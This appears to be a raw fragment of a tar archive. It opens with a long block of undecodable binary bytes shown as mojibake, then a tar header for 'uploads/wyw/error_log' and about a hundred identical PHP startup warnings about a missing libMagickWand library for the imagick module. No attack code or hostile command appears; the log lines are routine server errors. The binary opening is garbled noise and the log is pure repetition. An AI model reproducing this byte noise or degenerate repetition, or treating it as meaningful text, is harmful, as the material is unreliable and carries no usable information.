in߇Ch޵:7j7Q[2vM)Z3I?,mKV嶝yn,r"Y۬_9	te]n~E.ݩxL>yk7c~rN]{35WeE|Tnz=UEbZD޽c$(1E3D!I:OE\X<Ui4)Be
`cd	:ϹxfB07BY//V)KTI=YLZ]VL|7dH3Z6(2`Ƙw}
uhe}v4.;BMKcG.4dtUЭ[5jD:ec1΀rv9n=	-
%NiU)[ޅK.G>u]NrVE'i'6T&a-#^]ii1Dn(aTh=\o\X#8Grq˃{3	a?q65wWZkjVq\.גּ_9'ˑx#úSPT>~v=)+P.rNa\Dp`%8vEp	'l88ŭ^zH`\dk7o#ueQm;Jnc_9qZx۳fa_[c'ɪgDTdH{zt2
*{+Aƴ%Ro0"lȼGv6r`޾e$^5ѺQ8\2!VbԎ]QߨC0PFIuYSRX1Ki:+`6&tOeF}h-fYf	E9IU42*e
E/rzX]#]Y$]zcQp&-=X\ϱB֧o'Z*W
;Zp[lGeuVB>/TcBMŧ@%>ZC=kk.m؏
4h8-gc)%{D($(|^t9zl(~Bv]v\C䖞txpt'3\&hA"z7
F#\`kM>Gwq#&y%b
P7"l^UV.sӕUEW؁
VhIsV].LJ0
[aHTfV,wK'v#r"?(D+jӬ0(ŘHRПk
8cm+,l˔7<mjY$(Fo/
"w?rPYk!̦D[4R'|gq3]w4[kWk	|ثHܠ%ZEȺ)q;Xj!iʤr"цK$#ik*De{-PϜ9]seMf6!az=+ݪy66"iuο,f=lC0oC#T,%thԛڇVv5R[?GgWvIcKa QL}{0~ԥ/hns-=d]VBZSFKj.~X	S6 I'$MFW)0<6eeWE;𐸂-XpYP*=D
VfZ9$NwO;[UC,n$w14nNx]\gӼHn;ț6B(/2}ފ1x{W ّL>{sp/~	֫VTrfvmD޹B.Ή QdYJ|aQ45	rxA_7I{ϴ痯I](,gb,RY`7ۑ>3L\8uی:;M6P׺nUT-%BKUWmbz3%i,Eio}⿥]3[VR\73Ϧl8$<@D,U`P?%chrnCgQ4c!hQL^+m:3j
TR@8r<ZqWU}HPJ^z v3E}eH箫W]!k=驍VѦ+nO- 2:H^{;NEneùuOp%r,H}²Ao~^^I#	$Ƭ"={X!&jD&J^^VIuxUN-p
\拷?=+ͻ:4TL?fy@[gH@I49Hw.ɒ+«
+}xuS{kw]`jC$#,˴"
`02IL^IR6tu8ޘxB*uՀa\YB5[y֑1rM5ì&My/c<ot"d{q̔O45DՋONŚu	ځ9E^G,o\EE;tqUkZTM$5w#\TK"-^;#'/0|T{H✚MN-?
'Dzh?SdVG=8awq.=b1|H	Mo.dYE)'#h.VzKfdvBɹMc/!7>xI3.]2N.Wv {c@K֯L#صAkiO>?oCҽoD$έnX+\XKً"V'Өؗw8%䑠7`k4O7/nߜŐyadX~H{6yT.\LK'r#Ӡ=]y>ߞ^vky!T=h*p[=]J%xܛJ[x7gde@0:a -$/>d(O5S.{>sLE^j.L<->@ϊU\vc9HE}"mP{4h)
/7WHm9t@)rRVmn˥q;Жn:1:5LaȊ҅VVeYVdSU:$,#_c^/BuGD<(*i_y9m&uD]612-
s]Fcݧ`'R|">'jŏcJ7fl;=78NhIJ~<I	R`ƷB-3V7P0ud+	$ض2d~IջXBOSZS-l=i%'
ArEs:[[/";1"3ǣN.[(s>FUbO}Gp|fFĬUzŜ[=o(;&C6'pw˿7лP',>ZuPf_w:}
f~ǧ19{V@y4b`*hN`]sw;o;
g{zﶷvQ_%ww߬ o_~\\UD8!+L%‚UV\ך3,}o2h̽{o懌,o*~Z'jNǥ(s`Ьߎy6I@.©s<jQϺL֎\^'4N#42
\bYIOP(E9yC~#SF#5:#LGo2Q&e:CU^#| G'/^_PG\1Z_IwLmӳ@ߩ?m!1RSÀAy1B\{x	˃"P4'ceeK^G*Hc,dIJ)P%
J6ao*KMN8¼4uU&㊮iXdss$h GxcaB;U|xx~|tpbpU?iIP3uH9gm##g77jx-u|iMEEVvz\xD,gQFòFiOry=z:}<*UxJJ,s{Uh\ܖVD5D75O@K3zߝzR@{",^|
hqRغ吊£H^7N@:u67kf.Ҏyu§0k3*cЙ]$~t2	[{tU[0!>&`BP67uDm%kQ6bE#9V9u|(%Ʈ+rRpP^dVJ!ӗ{IeݧuVnRj7 kQί@wF<1NTnN{37
Yw[B]Fl+?fk;\{WuNhۦ17I:Pq/W!x
YRIEqǎ-]UThjECyxHd'\y½Nq0Ai,N:@,z9q6HNBᕝ}h8'Cm-(cÑ:2C<st\W9^`bOj]Ij,"֕<TqՊdE;:":7
K8'c;ɿ.e]B^yvG&<$XL67Bp9T\!!6?Jϟ??~;uploads/wyw/error_log000066600000661737152443022640011010 0ustar00[28-Aug-2026 07:00:38 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:00:44 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:29:30 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:29:31 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:29:36 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:29:40 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:29:46 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:29:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:29:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:29:57 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:29:57 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:29:59 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:00 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:00 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:01 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:01 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:02 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:02 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:03 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:03 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:04 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:04 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:05 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:05 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:06 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:06 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:07 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:07 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:08 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:08 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:09 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:09 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:10 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:10 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:11 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:11 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:12 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:12 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:13 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:13 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:14 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:14 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:15 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:15 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:16 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:16 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:17 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:17 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:18 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:18 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:19 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:19 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:20 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:20 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:21 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:21 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:22 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:22 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:23 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:23 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:24 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:24 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:25 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:25 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:26 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:26 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:27 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:27 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:28 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:28 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:29 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:29 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:30 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:30 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:31 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:31 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:32 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:32 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:33 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:33 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:34 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:34 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:35 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:35 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:36 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:36 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:37 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:37 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:38 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:38 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:39 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:39 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:40 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:40 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:41 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:41 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:42 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:42 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:43 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:43 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:44 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
